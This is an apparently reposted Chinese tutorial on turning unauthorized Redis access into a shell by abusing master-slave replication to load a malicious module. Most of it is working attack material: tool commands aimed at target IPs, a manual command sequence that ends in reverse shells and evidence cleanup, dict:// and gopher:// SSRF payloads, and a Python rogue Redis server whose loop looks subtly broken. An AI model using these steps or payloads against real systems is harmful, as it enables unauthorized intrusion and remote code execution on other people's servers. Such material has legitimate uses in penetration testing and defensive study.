Redis主從復制getshell技巧


Redis未授權漏洞常見的漏洞利用方式:

  • Windows下,絕對路徑寫webshell 、寫入啟動項。

  • Linux下,絕對路徑寫webshell 、公私鑰認證獲取root權限 、利用contrab計划任務反彈shell。

基於Redis主從復制的機制,可以通過FULLRESYNC將任意文件同步到從節點(slave),這就使得它可以輕易實現以上任何一種漏洞利用方式,而且存在着更多的可能性,等待被探索。

一、Redis 主從復制一鍵自動化RCE

在Reids 4.x之后,Redis新增了模塊功能,通過外部拓展,可以實現在Redis中實現一個新的Redis命令,通過寫C語言編譯並加載惡意的.so文件,達到代碼執行的目的。

通過腳本實現一鍵自動化getshell:

1、生成惡意.so文件,下載RedisModules-ExecuteCommand使用make編譯即可生成。

git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
cd RedisModules-ExecuteCommand/
make

2、攻擊端執行: python redis-rce.py -r 目標ip-p 目標端口 -L 本地ip -f 惡意.so

git clone https://github.com/Ridter/redis-rce.git
cd redis-rce/
cp ../RedisModules-ExecuteCommand/src/module.so ./
pip install -r requirements.txt 
python redis-rce.py -r 192.168.28.152 -p 6379 -L 192.168.28.137 -f module.so

二、Redis主從復制利用原理

首先,我們通過一個簡單的測試,來熟悉一下slave和master的握手協議過程:

1、監聽本地1234端口

nc -lvvp 1234

2、將Redis服務器設置為從節點(slave)

slaveof 127.0.0.1 1234

3、使用nc模擬Redis主服務器,進行模擬Redis主從交互過程(紅色部分為slave發送的命令):

以上,通過nc進行模擬Redis主從復制的交互過程,同理,如果構建模擬一個Redis服務器,利用Redis主從復制的機制,那么就可以通過FULLRESYNC將任意文件同步到從節點。

三、Redis主從復制手動擋

手動操作過程記錄:

1、編寫腳本,構造惡意Redis服務器,監聽本地端口1234,加載exp.so。

python RogueServer.py --lport 1234 --exp exp.so

2、通過未授權訪問連入要攻擊的redis服務器。

執行相關命令:

#設置redis的備份路徑為當前目錄
    config set dir ./
#設置備份文件名為exp.so,默認為dump.rdb
    config set dbfilename exp.so
#設置主服務器IP和端口
    slaveof 192.168.172.129 1234  
#加載惡意模塊
    module load ./exp.so
#切斷主從,關閉復制功能
    slaveof no one 
#執行系統命令
    system.exec 'whoami'
    system.rev 127.0.0.1 9999    
#通過dump.rdb文件恢復數據
    config set dbfilename dump.rdb
#刪除exp.so
    system.exec 'rm ./exp.so'
#卸載system模塊的加載
    module unload system

成功執行系統命令:

四、SSRF+Redis 反彈shell

參照Redis手動getshell的過程,可輕易實現SSRF+Redis反彈shell。

以curl為例,漏洞代碼為ssrf.php:

<?php
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET['url']);
#curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
#curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
curl_exec($ch);
curl_close($ch);
?>

環境准備:

  • 模擬內網未授權Redis服務器:192.168.172.131

  • 模擬攻擊者機器:192.168.172.129

  • 在攻擊者機器上構建惡意Redis服務器,同時監聽本地9999端口等待shell返回。

1、利用dict協議反彈shell

#查看當前redis的相關配置
ssrf.php?url=dict://192.168.172.131:6379/info

#設置備份文件名
ssrf.php?url=dict://192.168.172.131:6379/config:set:dbfilename:exp.so

#連接惡意Redis服務器
ssrf.php?url=dict://192.168.172.131:6379/slaveof:192.168.172.129:1234

#加載惡意模塊
ssrf.php?url=dict://192.168.172.131:6379/module:load:./exp.so

#切斷主從復制
ssrf.php?url=dict://192.168.172.131:6379/slaveof:no:one

#執行系統命令
 ssrf.php?url=dict://192.168.172.131:6379/system.rev:192.168.172.129:9999

2、利用gopher協議反彈shell

#設置文件名,連接惡意Redis服務器
gopher://192.168.172.131:6379/_config%2520set%2520dbfilename%2520exp.so%250d%250aslaveof%2520192.168.172.129%25201234%250d%250aquit

#加載exp.so,反彈shell
gopher://192.168.172.131:6379/_module%2520load%2520./exp.so%250d%250asystem.rev%2520192.168.172.129%25209999%250d%250aquit

3、利用這兩種協議,都可以成功獲取shell。

附:Redis服務端模擬腳本

import socket
from time import sleep
from optparse import OptionParser

def RogueServer(lport):
    resp = ""
    sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.bind(("0.0.0.0",lport))
    sock.listen(10)
    conn,address = sock.accept()  
    sleep(5)
    while True:    
        data = conn.recv(1024)
        if "PING" in data:
            resp="+PONG"+CLRF
            conn.send(resp)
        elif "REPLCONF" in data:
            resp="+OK"+CLRF
            conn.send(resp)
        elif "PSYNC" in data or "SYNC" in data:
            resp =  "+FULLRESYNC " + "Z"*40 + " 1" + CLRF
            resp += "$" + str(len(payload)) + CLRF
            resp = resp.encode()
            resp += payload + CLRF.encode()
            if type(resp) != bytes:
                resp =resp.encode()            
            conn.send(resp)    
        #elif "exit" in data:
            break


if __name__=="__main__":

    parser = OptionParser()                     
    parser.add_option("--lport", dest="lp", type="int",help="rogue server listen port, default 21000", default=21000,metavar="LOCAL_PORT")        
    parser.add_option("-f","--exp", dest="exp", type="string",help="Redis Module to load, default exp.so", default="exp.so",metavar="EXP_FILE")            

    (options , args )= parser.parse_args()
    lport = options.lp
    exp_filename = options.exp

    CLRF="\r\n"
    payload=open(exp_filename,"rb").read()
    print "Start listing on port: %s" %lport
    print "Load the payload:   %s" %exp_filename     
    RogueServer(lport)

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM